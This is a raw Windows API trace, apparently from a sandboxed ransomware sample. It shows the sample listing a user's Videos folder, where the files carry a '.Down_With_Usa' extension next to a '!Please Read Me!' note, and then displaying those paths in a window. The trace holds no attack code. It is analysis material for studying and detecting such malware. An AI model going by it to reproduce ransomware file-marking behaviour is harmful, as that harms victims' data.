[0276.115] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2566e2a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs.Down_With_Usa", cAlternateFileName="!PLEAS~2.DOW")) returned 1
[0276.115] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09b8570, ftCreationTime.dwHighDateTime=0x1d5d8d7, ftLastAccessTime.dwLowDateTime=0xe20c6f10, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0x256e06c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xf580, dwReserved0=0x0, dwReserved1=0x0, cFileName="6 wkqdkPr1VCK1wq.mp4.Down_With_Usa", cAlternateFileName="6WKQDK~1.DOW")) returned 1
[0276.116] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43728c0, ftCreationTime.dwHighDateTime=0x1d5e4f2, ftLastAccessTime.dwLowDateTime=0x82a57f80, ftLastAccessTime.dwHighDateTime=0x1d5e61a, ftLastWriteTime.dwLowDateTime=0x2572c980, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DMx1_e71M.flv.Down_With_Usa", cAlternateFileName="8DMX1_~1.DOW")) returned 1
[0276.117] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe691ed30, ftCreationTime.dwHighDateTime=0x1d5d864, ftLastAccessTime.dwLowDateTime=0x95507ac0, ftLastAccessTime.dwHighDateTime=0x1d5e77f, ftLastWriteTime.dwLowDateTime=0x2579eda0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xabe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="95BBcNxQtIfmFlYVv1-F.avi.Down_With_Usa", cAlternateFileName="95BBCN~1.DOW")) returned 1
[0276.118] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0276.118] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597f43c0, ftCreationTime.dwHighDateTime=0x1d5de45, ftLastAccessTime.dwLowDateTime=0xcce85150, ftLastAccessTime.dwHighDateTime=0x1d5d961, ftLastWriteTime.dwLowDateTime=0x2585d480, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xffa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FyTzRTAI.mp4.Down_With_Usa", cAlternateFileName="FYTZRT~1.DOW")) returned 1
[0276.119] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7164af0, ftCreationTime.dwHighDateTime=0x1d5e3a6, ftLastAccessTime.dwLowDateTime=0x52da6040, ftLastAccessTime.dwHighDateTime=0x1d5e336, ftLastWriteTime.dwLowDateTime=0x258cf8a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x93a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lBjIMkls.avi.Down_With_Usa", cAlternateFileName="LBJIMK~1.DOW")) returned 1
[0276.120] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5ff7f10, ftCreationTime.dwHighDateTime=0x1d5e2ef, ftLastAccessTime.dwLowDateTime=0xecc74d50, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0x25967e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="lPeoM.mkv.Down_With_Usa", cAlternateFileName="LPEOMM~1.DOW")) returned 1
[0276.120] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f961ee0, ftCreationTime.dwHighDateTime=0x1d5e7fd, ftLastAccessTime.dwLowDateTime=0x9ce971c0, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x25a003a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oxZkW.avi.Down_With_Usa", cAlternateFileName="OXZKWA~1.DOW")) returned 1
[0276.120] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0x2699f400, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2699f400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEj-aNY_N6U3seP-6wP-", cAlternateFileName="TEJ-AN~1")) returned 1
[0276.121] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a8d490, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0xa5425c20, ftLastAccessTime.dwHighDateTime=0x1d5dd41, ftLastWriteTime.dwLowDateTime=0x25a727c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="x0by6BnXSl7t-oMscM.flv.Down_With_Usa", cAlternateFileName="X0BY6B~1.DOW")) returned 1
[0276.121] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5f6ea0, ftCreationTime.dwHighDateTime=0x1d5e6d2, ftLastAccessTime.dwLowDateTime=0x57d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e10c, ftLastWriteTime.dwLowDateTime=0x25ae4be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x14a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcDVt3HTJS.flv.Down_With_Usa", cAlternateFileName="XCDVT3~1.DOW")) returned 1
[0276.121] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0x25b7d160, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVaV Yi4VMDVjY2O.mp4.Down_With_Usa", cAlternateFileName="XVAVYI~1.DOW")) returned 1
[0276.121] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0276.122] FindClose (in: hFindFile=0x27f05fd0 | out: hFindFile=0x27f05fd0) returned 1
[0276.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.122] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24
[0276.123] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25
[0276.123] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05fd0
[0276.123] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0276.124] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0276.124] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2566e2a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs.Down_With_Usa", cAlternateFileName="!PLEAS~2.DOW")) returned 1
[0276.124] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09b8570, ftCreationTime.dwHighDateTime=0x1d5d8d7, ftLastAccessTime.dwLowDateTime=0xe20c6f10, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0x256e06c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xf580, dwReserved0=0x0, dwReserved1=0x0, cFileName="6 wkqdkPr1VCK1wq.mp4.Down_With_Usa", cAlternateFileName="6WKQDK~1.DOW")) returned 1
[0276.124] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43728c0, ftCreationTime.dwHighDateTime=0x1d5e4f2, ftLastAccessTime.dwLowDateTime=0x82a57f80, ftLastAccessTime.dwHighDateTime=0x1d5e61a, ftLastWriteTime.dwLowDateTime=0x2572c980, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DMx1_e71M.flv.Down_With_Usa", cAlternateFileName="8DMX1_~1.DOW")) returned 1
[0276.125] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe691ed30, ftCreationTime.dwHighDateTime=0x1d5d864, ftLastAccessTime.dwLowDateTime=0x95507ac0, ftLastAccessTime.dwHighDateTime=0x1d5e77f, ftLastWriteTime.dwLowDateTime=0x2579eda0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xabe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="95BBcNxQtIfmFlYVv1-F.avi.Down_With_Usa", cAlternateFileName="95BBCN~1.DOW")) returned 1
[0276.125] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0276.125] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597f43c0, ftCreationTime.dwHighDateTime=0x1d5de45, ftLastAccessTime.dwLowDateTime=0xcce85150, ftLastAccessTime.dwHighDateTime=0x1d5d961, ftLastWriteTime.dwLowDateTime=0x2585d480, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xffa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FyTzRTAI.mp4.Down_With_Usa", cAlternateFileName="FYTZRT~1.DOW")) returned 1
[0276.125] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7164af0, ftCreationTime.dwHighDateTime=0x1d5e3a6, ftLastAccessTime.dwLowDateTime=0x52da6040, ftLastAccessTime.dwHighDateTime=0x1d5e336, ftLastWriteTime.dwLowDateTime=0x258cf8a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x93a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lBjIMkls.avi.Down_With_Usa", cAlternateFileName="LBJIMK~1.DOW")) returned 1
[0276.125] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5ff7f10, ftCreationTime.dwHighDateTime=0x1d5e2ef, ftLastAccessTime.dwLowDateTime=0xecc74d50, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0x25967e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="lPeoM.mkv.Down_With_Usa", cAlternateFileName="LPEOMM~1.DOW")) returned 1
[0276.126] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f961ee0, ftCreationTime.dwHighDateTime=0x1d5e7fd, ftLastAccessTime.dwLowDateTime=0x9ce971c0, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x25a003a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oxZkW.avi.Down_With_Usa", cAlternateFileName="OXZKWA~1.DOW")) returned 1
[0276.126] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0x2699f400, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2699f400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEj-aNY_N6U3seP-6wP-", cAlternateFileName="TEJ-AN~1")) returned 1
[0276.126] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a8d490, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0xa5425c20, ftLastAccessTime.dwHighDateTime=0x1d5dd41, ftLastWriteTime.dwLowDateTime=0x25a727c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="x0by6BnXSl7t-oMscM.flv.Down_With_Usa", cAlternateFileName="X0BY6B~1.DOW")) returned 1
[0276.126] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5f6ea0, ftCreationTime.dwHighDateTime=0x1d5e6d2, ftLastAccessTime.dwLowDateTime=0x57d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e10c, ftLastWriteTime.dwLowDateTime=0x25ae4be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x14a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcDVt3HTJS.flv.Down_With_Usa", cAlternateFileName="XCDVT3~1.DOW")) returned 1
[0276.127] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0x25b7d160, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVaV Yi4VMDVjY2O.mp4.Down_With_Usa", cAlternateFileName="XVAVYI~1.DOW")) returned 1
[0276.127] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0x25b7d160, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVaV Yi4VMDVjY2O.mp4.Down_With_Usa", cAlternateFileName="XVAVYI~1.DOW")) returned 0
[0276.127] FindClose (in: hFindFile=0x27f05fd0 | out: hFindFile=0x27f05fd0) returned 1
[0276.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.131] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x28728e4) returned 0x29
[0276.131] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x28728e4) returned 0x29
[0276.133] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.133] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs.Down_With_Usa", length=71, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.133] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.133] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.133] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.134] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2872b44) returned 0x2a
[0276.134] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2872b44) returned 0x2a
[0276.135] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.135] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4.Down_With_Usa", length=71, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.136] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.136] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.136] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.137] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2872d9c) returned 0x2b
[0276.137] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2872d9c) returned 0x2b
[0276.138] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.138] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv.Down_With_Usa", length=65, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.138] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.138] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.139] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.139] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2872ff4) returned 0x2c
[0276.140] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2872ff4) returned 0x2c
[0276.140] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.141] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi.Down_With_Usa", length=75, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.141] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.141] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.141] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.143] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873454) returned 0x2d
[0276.143] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873454) returned 0x2d
[0276.144] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.144] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4.Down_With_Usa", length=63, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.144] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.145] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.145] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.145] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873684) returned 0x2e
[0276.145] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873684) returned 0x2e
[0276.146] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.147] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi.Down_With_Usa", length=63, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.147] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.147] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.147] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.148] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x28738ac) returned 0x2f
[0276.148] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x28738ac) returned 0x2f
[0276.149] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.149] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv.Down_With_Usa", length=60, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.150] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
